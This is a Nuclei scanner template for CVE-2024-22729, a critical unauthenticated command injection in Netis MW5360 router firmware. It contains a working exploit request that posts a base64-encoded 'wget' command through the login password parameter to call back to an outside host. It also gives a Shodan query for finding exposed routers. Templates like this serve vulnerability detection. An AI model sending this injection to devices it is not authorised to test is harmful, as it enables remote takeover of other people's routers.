id: CVE-2024-22729

info:
  name: Netis MW5360 V1.0.1.3031 - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    NETIS SYSTEMS MW5360 V1.0.1.3031 was discovered to contain a command injection vulnerability via the password parameter on the login page.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands via the password parameter, potentially compromising the entire Netis router.
  remediation: |
    Update Netis MW5360 firmware to a version newer than V1.0.1.3031.
  reference:
    - https://github.com/adhikara13/CVE/blob/main/netis_MW5360/blind%20command%20injection%20in%20password%20parameter%20in%20initial%20settings.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-22729
    cwe-id: CWE-77
    epss-score: 0.91174
    epss-percentile: 0.99663
    cpe: cpe:2.3:o:netis-systems:mw5360_firmware:1.0.1.3031:*:*:*:*:*:*:*
  metadata:
    vendor: netis-systems
    product: mw5360_firmware
    shodan-query: title:"netis router"
  tags: cve,cve2024,rce,netis,unauth,vkev,vuln

variables:
  payload: "wget http://{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"netis router")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /cgi-bin/skk_set.cgi HTTP/1.1
        Host: {{Hostname}}
        Connection: close

        password={{base64("{{payload}}")}}&quick_set=ap&app=wan_set_shortcutz

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a0047304502204ce22d94c8e5bd869a368ccd76e8f422e4ca9a3921cc2724ea9fe7b526790814022100ca04af030576e214b003ef868156af355c268ee87edb72290df0d473a6903bbf:922c64590222798bb761d5b6d8e72950